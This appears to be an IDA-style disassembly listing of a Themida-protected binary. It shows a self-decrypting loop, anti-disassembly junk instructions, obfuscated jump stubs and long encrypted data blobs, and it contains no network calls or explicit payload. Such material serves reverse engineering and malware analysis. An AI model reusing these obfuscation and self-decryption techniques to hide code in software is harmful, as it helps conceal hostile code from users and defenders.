		lea	ecx, [ebp+7D13175h]
		push	ecx
		push	40h
		push	dword ptr [ebp+7D116A1h]
		push	dword ptr [ebp+7D12D15h]
		call	eax
		push	dword ptr [ebp+7D116A1h]
		push	dword ptr [ebp+7D12D15h]
		call	near ptr loc_5FC29F+1
		enter	2CD5h, 78h
		cmp	al, 2Bh
		mov	dh, 35h


loc_5FC29F:				; CODE XREF: sub_5FC193+FFp
		or	al, 58h
sub_5FC193	endp ; sp-analysis failed

		pop	eax
		sub	eax, 4
		shr	dword ptr [esp], 2
		shl	dword ptr [esp], 2
		add	eax, [esp]
		neg	dword ptr [esp]
		xor	edx, edx


loc_5FC2B5:				; CODE XREF: Themida_:005FC2D6j
		mov	esi, [eax+edx]
		xor	esi, 5BE767C5h
		sub	esi, 5379573Fh
		sub	esi, 3A3C1F89h
		push	esi
		pop	dword ptr [eax+edx]
		sub	edx, 2
		dec	edx
		dec	edx
		cmp	edx, [esp]
		jnz	loc_5FC2B5
		lea	ebx, [ebp+7D12389h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5FC2F3
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5FC2F3:				; CODE XREF: Themida_:005FC2E6j
		mov	ecx, ecx
		jmp	loc_5FC3D5
; ---------------------------------------------------------------------------
		sahf
		inc	esp
		jnz	short loc_5FC341
		xlat
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		db 76h
; ---------------------------------------------------------------------------


loc_5FC341:				; CODE XREF: Themida_:005FC2FCj
		out	dx, eax
		mov	cl, 97h
		add	[esi-7], cl
		mov	ah, 0A5h


loc_5FC349:				; CODE XREF: Themida_:005FC3AEj
		lahf
		add	[ebx+ebp*2+7Bh], bl
		lock dec edx
		xchg	eax, edx
		mov	al, [eax]
		rcl	byte ptr [edx-0Dh], 1
		inc	ebp
		cmc
		push	ebx
		mul	byte ptr [ebx+44D6D979h]
		icebp
		scasd
		jecxz	short loc_5FC3A8
		hlt
; ---------------------------------------------------------------------------
		dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh,	20B293BCh
		dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
		dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h
		dd 0F0A8CD43h, 0
; ---------------------------------------------------------------------------


loc_5FC3A8:				; CODE XREF: Themida_:005FC361j
		add	[edi+74h], al
		popf
		adc	ah, bl
		loopne	loc_5FC349
		pop	esi
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 8 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5FC3D5:				; CODE XREF: Themida_:005FC2F5j
		jmp	loc_5FD914
; ---------------------------------------------------------------------------
		push	7D85FACh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D8607Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D8616Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D862C4h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86349h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D863F6h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D864AAh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86552h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D865D1h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D8675Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86856h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D869B5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86AB1h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86C2Bh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86D59h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D86F68h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D8708Eh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dd 0B03DA3DBh, 9E2BC1C3h, 8D1AD4B1h, 7603E1A0h,	62EF0989h
		dd 0DCBEF6A7h, 0EFAA9724h, 0FA978411h, 2826FFCh, 0CBB759E6h
		dd 1125F0Eh, 917D651Ah,	7B0AE6A4h, 8563219Dh, 0C1D5B3A0h
		dd 18E25C3h, 0F6E20773h, 0F9E93539h, 3C5B4819h,	0E8C1AC69h
		dd 6C0319F9h, 50ACE8D5h, 532F1CC1h, 0EE32E4C8h,	59F031B3h
		dd 4920DDC2h, 3319FA7Ch, 0A8464551h, 413F2C11h,	0B3D1BEA3h
		dd 0FFEA935h, 0C231DC6Eh, 9EF8EEC1h, 38EF41h, 22110000h
		dd 4E475335h, 9D34CBB0h, 49221B8h, 817F1D96h, 7141FEEAh
		dd 5319F9DDh, 4F1AD7BCh, 8819F9DEh, 94F82EDDh, 0FC3A4258h
		dd 0A118A765h, 419EC50Eh, 0E8CFh, 6321F100h, 0D7B3A085h
		dd 49473419h, 0EEDAC6ABh, 28B53C31h, 62F18812h,	4CD91775h
		dd 0D9177360h, 0B9C68D4Ah, 0CAB71228h, 0B19E2DCBh, 0E5C148D3h
		dd 32856909h, 63210E9Bh, 0C7B4A085h, 0F39660CBh, 32B54DF0h
		dd 0C7E0C9Bh, 741401EDh, 11FDE978h, 0F9886424h,	0FA94023Ch
		dd 3F2BC219h, 93D79653h, 56ED19FAh, 0EA4E3AC7h,	0C048614Eh
		dd 0BA48D7C4h, 803D29C8h, 21CDD699h, 0B19080E4h, 0FD9D262Ah
		dd 4632C96Eh, 32BF3959h, 0D09D5A46h, 0F421CDECh, 0D513705Dh
		dd 0DDCA59F0h, 18F43BDh, 0DFFEB83Ah, 129F82FAh,	9750000h
		dd 3B5D4AD7h, 4A4B38C5h, 5B3A27B4h, 6723109Dh, 5C41FC89h
		dd 31BE3A58h, 1EAB4144h, 9965031h, 0F3807C1Ch, 0C5A86551h
		dd 0FF1A0113h, 61213917h, 0CC95031h, 5F0F48EDh,	59E67D14h
		dd 43D02C6Ch, 9A128065h, 28B490DDh, 69D3412h, 0DD555D1Ah
		dd 826F19F9h, 694EE503h, 0F9DCBDACh, 806F1A19h,	9E5DB0FFh
		dd 0AC2D41h, 214F0000h,	0B3A08563h, 0C92D19D7h,	983D7411h
		dd 15FA89BCh, 298FFB58h, 0F3958212h, 3816EFDh, 2D6B58E5h
		dd 2E5CEACFh, 8FB4B976h, 79101229h, 8909F6E2h, 0A7C6836Fh
		dd 1D12298Fh, 4E0BF786h, 19FAA3F0h, 22B03DD4h, 0E8A59170h
		dd 21CE8220h, 34210DA4h, 200D9A56h, 0B4D28662h,	28FEB8CFh
		dd 11CFCB43h, 0F9A50000h, 0B8D7A07h, 1A7B68F5h,	2B6A57E4h
		dd 375340CDh, 2C712CB9h, 61EE0A88h, 4EDB1174h, 39C62061h
		dd 23B04C4Ch, 95D89581h, 2F1A0114h, 61216947h, 8F0DFA87h
		dd 3EB244A4h, 22DF8C4Fh, 1228D84Bh, 0B44BE279h,	35224927h
		dd 0C7B39856h, 28B4630Ah, 33CA6112h, 1BD9B7A4h,	0F5E64A36h
		dd 0BD94D141h, 43412EBDh, 0D1B6344Fh, 2916A33Ah, 0A25E3C6Ch
		dd 0A38F26BDh, 8E1DD3B6h, 20DCBCA9h, 6343A793h,	0C57563DFh
		dd 60AE8B1Ah, 91F3A8DAh, 0D66D8305h, 8896533Fh,	3C19FA26h
		dd 0CDCCB9A5h, 7E3BA02Fh, 118457ECh, 725E83EFh,	5583B5B5h
		dd 8C780F19h, 44FB4A28h, 5844A15Fh, 55A0D29Bh, 0CC5BF219h
		dd 0C82959E7h, 48341FDCh, 0F990212Ah, 0AABD210Dh, 254E8A48h
		dd 0BBD9C655h, 674CAAE7h, 0BFAC39D0h, 0D6F23C1h, 93FE1C3Eh
		dd 10DF36AEh, 0C9B50000h, 0FB9D8A17h, 0A8B7805h, 1B7A67F4h
		dd 276350DDh, 1C813CC9h, 71FEFA98h, 5EEB0184h, 49D61071h
		dd 33C03C5Ch, 85E8A591h, 3F1A0115h, 63217957h, 6012A085h
		dd 0BCA99581h, 0D49120DCh, 19F9DFCEh, 44D25FF6h, 0DBC7B356h
		dd 0F9E04F1Eh, 4FDE7519h, 0FB74A663h, 0B95021CAh, 49A7E0CDh
		dd 85E9D5BAh, 21D0FEF4h, 0FAB74660h, 21CB566Fh,	4D4EBD68h
		dd 496FD862h, 0B4B97662h, 1021CB4Ah, 5C17EA79h,	39000000h
		dd 9D533522h, 49221B8h,	0C611E96h, 701228B5h, 982FD410h
		dd 6C291501h, 1228B501h, 0B19D2CC3h, 0FA017FF4h, 0C2AE4519h
		dd 0A0E4B4D5h, 0BE7B674Ch, 19FA01AFh, 50E77E15h, 16506C3h
		dd 791719FAh, 8001EE7Bh, 66227410h, 770EA58Ah, 7F64FB92h
		dd 100407h, 6B2E1B00h, 80280695h, 0FE9912h, 926E2E1Bh
		dd 0E87F16ADh, 12953FFCh, 982F1A01h, 23C1BFACh,	5EBFD337h
		dd 0C73B7817h, 0B34A2FCDh, 13008D1Ch, 4927775h,	0CA877396h
		dd 21D9EB5Fh, 0F6E2CE65h, 876C8A09h, 1AFFF99Ah,	705DEC83h
		dd 5B47D410h, 0F1D62A6Eh, 0D0678504h, 0B8345441h, 0B45545D3h
		dd 14F30BC8h, 9E8A29ABh, 0AB148CE1h, 12A13829h,	7022D66Dh
		dd 6CE69F62h, 0F870F87h, 215D0000h, 434532BFh, 523320ADh
		dd 63220F9Ch, 8F0BF885h, 7429E471h, 19A64240h, 693692Ch
		dd 0F17E7819h, 0DB688404h, 0DD904D39h, 0E71A0116h, 185121FFh
		dd 0C31228B5h, 894632D7h, 1A0111A8h, 0AC99851Ch, 978310ECh
		dd 6A3447ABh, 0B16EF21Ch, 13A79F4h, 25B44B1Ah, 0B79C5838h
		dd 45427929h, 6B2814ABh, 21D26637h, 0D09D5A46h,	3521D265h
		dd 1F020A22h, 48DF84DBh, 0C97D14B9h, 0FEB4F2E3h, 2E45C41h
		dd 0D800000Fh, 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h, 867300FEh
		dd 0A45FEC04h, 19D7B3F9h, 6E49F8Ch, 0F10F8C79h,	0DB197764h
		dd 3C0AC4Eh, 1A01176Ah,	2194725Ah, 0FA733063h, 0CA1228B4h
		dd 0B54C21DEh, 0E1781228h, 0E1CEB34Ah, 0BC6045A3h, 0EA1E211h
		dd 0CF39CD32h, 93Eh, 0EF1280F1h, 11F84603h, 35CC1A01h
		dd 0BEF95D49h, 1E411652h, 244906F2h, 0A01A00EAh, 0F8D7A09h
		dd 7D1805F1h, 7663F07Fh, 38F5DA16h, 1A00EA31h, 0CAA3604Ch
		dd 0FA1A00E9h, 0E01BFF63h, 0A07DF3B3h, 0F2178311h, 77594906h
		dd 0D46B21D2h, 0B4C05E20h, 45BDA2FEh, 0E55h, 8D732Bh, 0EE7B7113h
		dd 0DD6A8401h, 0C65391F0h, 0B23FB9D9h, 8C0EA6F7h, 9FFAE774h
		dd 0AAE7D461h, 0B2D2BF4Ch, 1B07A936h, 1180F5Eh,	0EFCDB51Ah
		dd 99573522h, 4E0050B4h, 0C01C9B5Ah, 0EFAD9A29h, 413F2C11h
		dd 9E3C40D6h, 29868CE1h, 3DA13812h, 51E88B3Bh, 0E8067F6Ch
		dd 7E721603h, 93822D99h, 74A34EF2h, 0CD747C33h,	8786139h
		dd 51830000h, 1228B518h, 4632D7C3h, 111F589h, 4C38CF1Ah
		dd 36C3215Fh, 0C8AD4B49h, 0BDA9483Ah, 5035B3D0h, 813E2AB9h
		dd 21D23D21h, 0D6146F5Ch, 26CB5AF1h, 410105C2h,	0DD74CAAFh
		dd 0B4295F29h, 28A085FEh, 0DA1h, 4CD90777h, 3AC7255Fh
		dd 29B6484Dh, 129F5D3Ch, 0FE8B6525h, 30525A43h,	5B3E2BB8h
		dd 6E2B18A5h, 76160390h, 5F4BED7Ah, 118CBA2h, 3311F91Ah
		dd 0A0856321h, 3217D5B3h, 0C8AD4345h, 5D42B8DBh, 62AB4AF9h
		dd 582E4F65h, 791D7EADh, 515E5FCEh, 8C39CD98h, 7DAh, 0EF1280AEh
		dd 135A1703h, 6A1228B5h, 28B4C0ADh, 0C86D0412h,	0F9B6A231h
		dd 1A01119Ah, 0BAA7932Ah, 0A69221DFh, 901DDBB9h, 1B07E5A3h
		dd 6956B2Eh, 12056421h,	0A4D61A01h, 69C5945h, 0BE21D23Dh
		dd 0A239B7D1h, 0B48AE4EEh, 0A31B00FEh, 0CF9h, 0A431AFCFh
		dd 921FDDB7h, 810EE0A5h, 6AF7F594h, 56E31D7Dh, 0E8AA029Bh
		dd 0F3968310h, 68370FDh, 2E6E5BE8h, 0B7A345D2h,	11973FAh
		dd 8B69511Ah, 0A0856321h, 3217D5B3h, 7334E38Eh,	39CD323Ch
		dd 745A1h, 1D51C300h, 0BE1228B5h, 84412DCCh, 1A0111ECh
		dd 685541D8h, 523FCC28h, 0E5D1B632h, 93373B81h,	8514B16Fh
		dd 7A668BF7h, 0D22BEDBDh, 8C40D721h, 0FEB4754Ch, 7AF76F54h
		dd 5000000Ch, 3825B22Eh, 2613A05Ch, 15028F61h, 0FEEB7876h
		dd 1CD7649Ch, 916F2B81h, 7E7C1704h, 698704F1h, 5391EFDCh
		dd 7B3824C6h, 1A0119F2h, 210CEAD2h, 0FA733063h,	821228B4h
		dd 0DD41E602h, 4EBFE2D7h, 0CFBC530Ah, 0BA9F36B4h, 4531CFCDh
		dd 0D6BB3958h, 3FCBB03Fh, 0CD236653h, 17C251E8h, 955331E8h
		dd 361E9108h, 8CBF39CDh, 0E1000001h, 0A0856321h, 0BA4AD5B3h
		dd 0FA51947Eh, 8D2EB131h, 5AF11FB0h, 0FAA836C3h, 9027C1C1h
		dd 0DD87E7A4h, 0D93D19FAh, 60FCF490h, 14D052B6h, 6CCF177Bh
		dd 3BF8DD74h, 19FB5C2Eh, 0B4D0BDA9h, 0FFEA938h,	9FD9218Eh
		dd 3DBC41h, 22DE0000h, 0B4F47936h, 39D01228h, 8B6E1CAAh
		dd 0C3C6B39Fh, 583DBBD7h, 0AE452AC1h, 0DD50621Fh, 0DD7419F9h
		dd 678504F1h, 775CEB82h, 0F9DCAFBAh, 8E7D2819h,	9E5DA20Dh
		dd 0E23B41h, 225D0000h,	555561BEh, 0C784F3A8h, 1228CDA6h
		dd 3F0871Eh, 0EB826785h, 6116F5Ch, 9475E851h, 8166FD17h
		dd 0EFAF694h, 22086522h, 25BC1229h, 0C4C4B196h,	36564328h
		dd 0F3702DBAh, 8912294Dh, 7460ED0Bh, 0DA970A87h, 12294D93h
		dd 1E039A31h, 975131h, 967B7113h, 0B0E270FFh, 36069C84h
		dd 0A53C8A57h, 0BC8AFCB9h, 0A33A19FCh, 30C8CAB7h, 0BE3C5744h
		dd 52AEECD9h, 0B03FD66Dh, 4E4A3723h, 0A736CDB2h, 3253D8BAh
		dd 9F579275h, 85B165FCh, 17F6C9B7h, 0AEFBA32h, 0D9C50000h
		dd 0EBAD9A27h, 0FA9B8815h, 0B8A7704h, 177360EDh, 0C914CD9h
		dd 810EEAA8h, 6EFBF194h, 59E60081h, 43D02C6Ch, 75F8B5A1h
		dd 4F1A011Bh, 36228967h, 28B4F479h, 10E61112h, 9C11E7BEh
		dd 0E4D160F7h, 0D0BD4AA6h, 0C9A734B0h, 0A0856321h, 2B17D5B3h
		dd 4F4B5F3Eh, 49351AB1h, 28B4E18Ch, 0B54CE312h,	0A130CCC8h
		dd 5149C14h, 80BE0000h,	4603EF12h, 19F9BC68h, 23E0C55Ch
		dd 19F9BD46h, 7637E691h, 419E3E39h, 246A4h, 3522C600h
		dd 1DB49957h, 0B4F97431h, 34CB1228h, 0B488E8A5h, 27531228h
		dd 0AAE9D6C2h, 6CD0674Ch, 85DB21FBh, 3F2BBA46h,	1CFF482h
		dd 0A0E3D01Ah, 37CE654Ah, 0F53E5E4Bh, 290862ACh, 7D7B1833h
		dd 0D36A0198h, 701683E7h, 0A299B4AEh, 2CBB53C3h, 0AB3AD1E3h
		dd 9553311Eh, 917022B0h, 0D1C2E8A5h, 6B0221D2h,	0B71FB5B7h
		dd 0E866BFEh, 9F5h, 0A02DD3CBh,	8E1BD1B3h, 7D0AE4A1h, 66F3F190h
		dd 52DF1979h, 0ECAE0697h, 0FF9A8714h, 0A877401h, 12725FECh
		dd 0BBA749D6h, 11C6FFEh, 8F6D551Ah, 0A0856321h,	2B17D5B3h
		dd 0B4EB823Fh, 42D91228h, 0D6BB3555h, 3FCBB03Fh, 0EEAE6594h
		dd 0A10E8512h, 3C39CD35h, 17Fh,	5335225Eh, 9221B89Dh, 913CE7A5h
		dd 6DD2C14Fh, 4E3B20B7h, 0C53B5C4Eh, 0A6E549E0h, 45331EECh
		dd 3ECC59F0h, 4C1AD4Ch,	19FA546Ah, 74ABAF13h, 0FC769783h
		dd 4C31C86Dh, 0FA52DA8Fh, 7E1A219h, 9E503522h, 73A24DB9h
		dd 46950E45h, 0F188609Bh, 0CF45B45Fh, 5A47A1E2h, 46DDC23Eh
		dd 0A86F40B7h, 2A6E419Eh, 90000000h, 3EF1280h, 0F9DD6C46h
		dd 0DCC15819h, 0F9DE4A1Fh, 33E28D19h, 9E5F3D72h, 0F89A8741h
		dd 7A701300h, 9C6FFE95h, 0C0h, 856321BEh, 19D7B3A0h, 3BA2C92Dh
		dd 0F7672CAAh, 33978368h, 53155B3Dh, 847100DAh,	98621B04h
		dd 22317952h, 0DBB9A68Bh, 0A0D3901Dh, 0DC1229CFh, 85AEEABCh
		dd 85606664h, 4E33CAC5h, 59320B7h, 9B887495h, 881F04FAh
		dd 35210DF9h, 29E3F578h, 0A938CF12h, 0FDC29AECh, 0A7932A19h
		dd 9320D8BAh, 0FAB7E4A6h, 19FDC273h, 6F23BA51h,	0F6C80C73h
		dd 96D0482Dh, 6C000008h, 5441CE32h, 422FBC30h, 311EAB45h
		dd 1A079452h, 38F38078h, 0B5334F65h, 0A2583B28h, 8D6B2815h
		dd 77751300h, 9F5C48EAh, 1A011DCEh, 21300EF6h, 0DFA8761h
		dd 0E5F1C8Fh, 6F1228B5h, 28B4BBB2h, 0CD720912h,	34129F36h
		dd 99856321h, 15B43135h, 4AD91E28h, 0DC187865h,	264704F0h
		dd 0DF12296Ch, 6E0DF1B5h, 0F78E33D3h, 0DA10FA93h, 109F50E4h
		dd 2B00B83h, 802D0000h,	4603EF12h, 1A01128Ah, 0DD698FF3h
		dd 735DAE41h, 0C3A83FE4h, 16C6306h, 5AC9741Ah, 0A5EE5659h
		dd 0C5826E41h, 1A0160A8h, 23F6851Ch, 226h, 0B51F5145h
		dd 715E1228h, 5CF3D816h, 0AE533FCDh, 11C305C2h,	0CEBA1A01h
		dd 1125C11h, 8563201Ah,	15BA49E0h, 42A6927Eh, 407A4A5Ch
		dd 0BFAC3B6Ah, 0A99623C1h, 9A280DEBh, 311D09E8h, 1CAB4144h
		dd 0D24C4B5Fh, 2EE27921h, 0FEB49516h, 9A71E9CEh, 70000007h
		dd 5845D20Eh, 4633C03Ch, 3522AF41h, 1E0B9856h, 3CF7847Ch
		dd 0B14F4B61h, 9E5C3724h, 89672411h, 73710FFCh,	9B5844E6h
		dd 1A011ED2h, 222C0AF2h, 0B3985635h, 0E0A08D1Ch, 52321F04h
		dd 7A25B196h, 0F8F4948Bh, 35BBF46Bh, 832239CDh,	44000001h
		dd 99573522h, 0B47F1D0Ah, 28429E60h, 705CF356h,	61A6C784h
		dd 871E1229h, 662613F8h, 0AD11FD8Ah, 1CD30FC3h,	24B2410Bh
		dd 0EAA79376h, 19FAD184h, 0D1BDA940h, 0FAD25914h, 0C27F6B19h
		dd 19FAD1ABh, 5CEB8219h, 0D1AFBA77h, 7D2819FAh,	0C0AC988Eh
		dd 0FAD16A03h, 6C35A19h, 19FAD167h, 967B7515h, 34C35AFFh
		dd 9F4EF2BDh, 43EB41h, 800D0000h, 1703EF12h, 0B4FF6E2Bh
		dd 2EC51228h, 0DCD0E29Fh, 5DF419F9h, 0DCAEBB78h, 7E2919F9h
		dd 5DA10E8Fh, 3623419Eh, 1EB59A56h, 0CFF87532h,	35CC19F9h
		dd 0C7D3A6h, 0FBE70000h, 0F9D02F3Eh, 6FFE9519h,	30632191h
		dd 28B4FA73h, 4633CA12h, 3015AC44h, 0BD3B5744h,	0C5B241D8h
		dd 59462BC5h, 0CD2B673Bh, 0D5BA51E8h, 95F6A8E8h, 48DF765Bh
		dd 2E85FEBBh, 99F71229h, 5240CE5Bh, 0EAD7C3AFh,	21604DABh
		dd 0F7734C3h, 0B519FD0Eh, 4545321Eh, 0DD49956h,	59F019FDh
		dd 5D4935C2h, 0FD0DCDA0h, 0D160F719h, 95F4A6E4h, 0EEDB7257h
		dd 0D97055ABh, 5A808E42h, 3F24F6C9h, 620C7h, 5888F600h
		dd 46BADECBh, 35CBCCB9h, 1EDCBBA8h, 0AE6A491h, 0D9DBC27Dh
		dd 0C5B23FB9h, 0B29F2CC2h, 9D8A17D1h, 0D27401FFh, 214429E6h
		dd 98801A01h, 876121BAh, 1B8F0DFAh, 0DA978379h,	1228B493h
		dd 76039A31h, 0B8632198h, 4BB4089Ah, 0BCA138BFh, 0A633B1CFh
		dd 592Eh, 0BE225000h, 26728144h, 676A80E2h, 0A714564h
		dd 99F7E473h, 826F5Bh, 731603E8h, 6A01987Dh, 1D0AF6DBh
		dd 9A0857Bh, 0F10F8D7Ah, 8D08A105h, 60B83304h, 84FFECD1h
		dd 9195411h, 14AB1229h,	0EEAB987Dh, 8A21DFBAh, 0BF6E19A5h
		dd 58C772DEh, 0B845A3E1h, 1740h, 63216200h, 87E3A085h
		dd 931228B4h, 820239E8h, 0D8D7A66h, 0F9D764F3h,	0A0856321h
		dd 95816012h, 111FCD8h,	0BCDBC81Ah, 0CEBBA73Eh,	0B8A532CEh
		dd 44301CD8h, 111E687h,	0B847DE1Ah, 0B45545D3h,	6E1E0BC8h
		dd 735F21D9h, 0D96DB7B6h, 0E7760D21h, 0D2BFAB42h, 49A7E0B2h
		dd 24E1CD64h, 21D96E49h, 0C04DE47Bh, 5237B5D3h,	4733D6C4h
		dd 0AA97748Ah, 5B95029h, 0E69CE003h, 0F244BCA1h, 0C8000004h
		dd 0B09D2AD6h, 9E8B18D4h, 8D7A07F9h, 7663F00Eh,	944FDC14h
		dd 9E7A309h, 0F6F48F7Ch, 0E11F7C69h, 0CB296754h, 0F3B09C3Eh
		dd 1A01217Ah, 2184624Ah, 94522F63h, 58370FDh, 0B498D592h
		dd 952C1228h, 6C2C19FEh, 0B4EF7E3Bh, 0E8D51228h, 1EB54CA8h
		dd 1302AD39h, 0F3807C1Ch, 0CD36337Ch, 49AA39h, 80CC0000h
		dd 4603EF12h, 19FA022Dh, 0B0140097h, 1979C728h,	5B6F7BDFh
		dd 0AC998514h, 988411EFh, 2C11EFABh, 10A7453Fh,	6EA7C481h
		dd 0B7D519FAh, 6146A4E3h, 0B9A633CAh, 0C1391ED8h, 451h
		dd 412CE9D5h, 8319FA6Fh, 217F5DECh, 0B3A08563h,	0FC8A17D5h
		dd 937F6B8Eh, 28B497D6h, 41402D12h, 9027BEA3h, 16581501h
		dd 6719F9E9h, 8871B7Ah,	0D76E53EAh, 3CAF6473h, 6AF9690Ah
		dd 5D492EC5h, 5821470h,	0D86F06EBh, 156F5CF3h
		dd 0CC5BF2D7h, 0FA415A0Fh, 23D27D19h, 9EBE4D62h, 309041h
		dd 80B20000h, 0F1AE9A12h, 1228B47Ch, 79F4B148h,	4B1228B4h
		dd 74311DB4h, 19F9DD3Eh, 4D0AEF86h, 19F9DD1Ch, 0A0E110BBh
		dd 419E5E0Fh, 13FCEh, 6321F000h, 0C8B4A085h, 28B4620Bh
		dd 3CCB6212h, 0C9B5334Fh, 0E431E065h, 0F38274DDh, 8563210Eh
		dd 17D5B3A0h, 0D3B19E8Ah, 4328C6BFh, 5DB115ACh,	0CB427961h
		dd 68EBA837h, 141228C3h, 7662374h, 0BD1228C4h, 0B7A38F26h
		dd 28C373FAh, 5FED5112h, 0F1F737B5h, 0F98615ACh, 8B708C0Ch
		dd 0BDF23B9Fh, 0FFAE54E2h, 51B0E270h, 3AD2A865h, 5BF219FAh
		dd 39F6E2CEh, 19FA3B34h, 6E95F990h, 0D0AC46D6h,	285AE877h
		dd 5F1DDC9h, 0F9F42548h, 4B089F19h, 19F9F422h, 907C0BA2h
		dd 0CDD5ADD3h, 94801721h, 6EFFBCA8h, 0E21CDD5h,	3BD27789h
		dd 4D2F65D7h, 39C8DCDBh, 3C5C4E4Ch, 5744DBC0h, 9926BD3Bh
		dd 0CDC1C0ADh, 0B95035CBh, 0B9A63D22h, 0A28F1ED8h, 0AE5408E0h
		dd 3AFEB8F7h, 2E3DD55h,	0C5B90000h, 0E7A18E1Bh,	0F68F7C09h
		dd 1F7E6BF8h, 2B6754E1h, 188540CDh, 6DFAF694h, 5AE70580h
		dd 45D22C6Dh, 2FBC3858h, 89E4A18Dh, 3B1A0123h, 35227553h
		dd 4FB39856h, 10A7CCCFh, 0CA2EC517h, 7E22C934h,	0A9962576h
		dd 70FDBAE9h, 54122943h, 0C322EBF0h, 5BF25E2Dh,	4A4A37C4h
		dd 0B5D5C2AEh, 411FAC3Bh, 0F4793622h, 0D01228B4h, 6E1CAA39h
		dd 0D0E29F8Bh, 0F419F9DCh, 288C785Dh, 0D7103006h, 8C6426F8h
		dd 0EA7910A7h, 0F9D13C2Dh, 1F09B19h, 9E522F80h,	0C7AE41h
		dd 22D00000h, 43445435h, 0CD3116ADh, 16613475h,	0B7A43BF8h
		dd 9E351AD8h, 3062220Fh, 14009755h, 0C8026B28h,	2BC21228h
		dd 0C8CAB79Ch, 920A3263h, 0DA96A2B8h, 0E549BCF9h, 1C089F36h
		dd 4240542Fh, 932A0FA6h, 0F1621F04h, 8B1228D8h,	7562EF0Dh
		dd 66F4D917h, 0AAC38034h, 1A1228D8h, 4300EC83h,	19F9F937h
		dd 7D69F68Dh, 0F899D491h, 942B19F9h, 0E60B7705h, 0D7E43DFAh
		dd 49E021CDh, 0D612705Dh, 0C23E5C49h, 0B8201E0Eh, 29A186FEh
		dd 1BDh, 68F5EB93h, 56E3197Bh, 45D22C69h, 2EBB3958h, 1AA74141h
		dd 14763E5Fh, 27624FDCh, 324F3CC9h, 5A3A27B4h, 836F119Eh
		dd 124A7C6h, 57351D1Ah,	0FA876121h, 0E4718F0Dh,	85632106h
		dd 17D5B3A0h, 1FF9D8Ah,	0A71C8E1Ch, 0F0A60AE8h,	7A89D644h
		dd 4A3723BAh, 32C9AE4Ah, 19A84645h, 5FEE702Dh, 0EAD619FAh
		dd 0FA60402Dh, 56ED8419h, 0EE1DC871h, 45455937h, 0F98714ABh
		dd 76721289h, 56ED0B89h, 8D8DAD6Ah, 0A03721CBh,	32CECEBBh
		dd 0C736E14Dh, 321EC3AFh, 0C5AA4445h, 0F6B39F2Eh, 299CBB44h
		dd 6F5CE980h, 1EED311h,	94816680h, 0CEAA7F3h, 0E4A39075h
		dd 0E8BD2106h, 5AA3CC43h, 0DA49F480h, 0E6CB2163h, 230FB84Fh
		dd 66F37A37h, 3AD1299Dh, 1A1100ABh, 5F17E7Ah, 13403BA1h
		dd 907CC8D7h, 9CF69AD3h, 4932A29h, 0F9E50476h, 6E12223Ch
		dd 260BA231h, 0DC914E3Ah, 0E8316E11h, 7C619FFBh, 0D2BF4EE5h
		dd 645136B2h, 0F6E2C725h, 6E123439h, 0CF99031h,	0FE8A6F8Dh
		dd 1AC3A453h, 0AA44412Eh, 40BCD8C5h, 806F1AA9h,	4502BAE8h
		dd 316E1228h, 826E059Ch, 3F2C99C5h, 7942B39h, 0FCE80979h
		dd 1789E63Fh, 35F2DE41h, 41178A38h, 795EF58Ch, 4F00C8Ch
		dd 4E3A74A0h, 0BC8FDD47h, 8757941Bh, 49D665FCh,	0DBC03C5Ch
		dd 0C46A1C1Eh, 0C736E185h, 27B43050h, 0B99E5A3Ah, 4A2FCDCCh
		dd 0DDC23C5Dh, 6F5490F0h, 4EACEBD8h, 0C332DD69h, 0DF4EF9A2h
		dd 25A0569h, 24457F7Ah,	0CE8A895h, 0BAA7937Fh, 0B621FD9h
		dd 0B985C415h, 27C7BE22h, 4C1F27EFh, 34B0D0BDh,	3D74Fh
		dd 0C2F90000h, 837D21E4h, 15D3B19Eh, 0A8464330h, 3DB3D6C3h
		dd 0D12F6B58h, 6583FFECh, 0F6F49380h, 8D632411h, 23D9BBA8h
		dd 54576F3Eh, 4C7815Fh,	83000000h, 3C8704EFh, 0C8685C24h
		dd 8900007Bh, 8C682434h, 89000018h, 46682414h, 8B07D85Eh
		dd 0C4832434h, 148B5404h, 4C48124h, 81000000h, 4ECh, 24348900h
		dd 0FF08428Fh, 815A2434h, 4C4h,	24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		inc	ecx
		cmp	al, 0C2h


loc_5FD914:				; CODE XREF: Themida_:loc_5FC3D5j
		mov	eax, 7D87270h
		add	eax, ebp
		jmp	eax
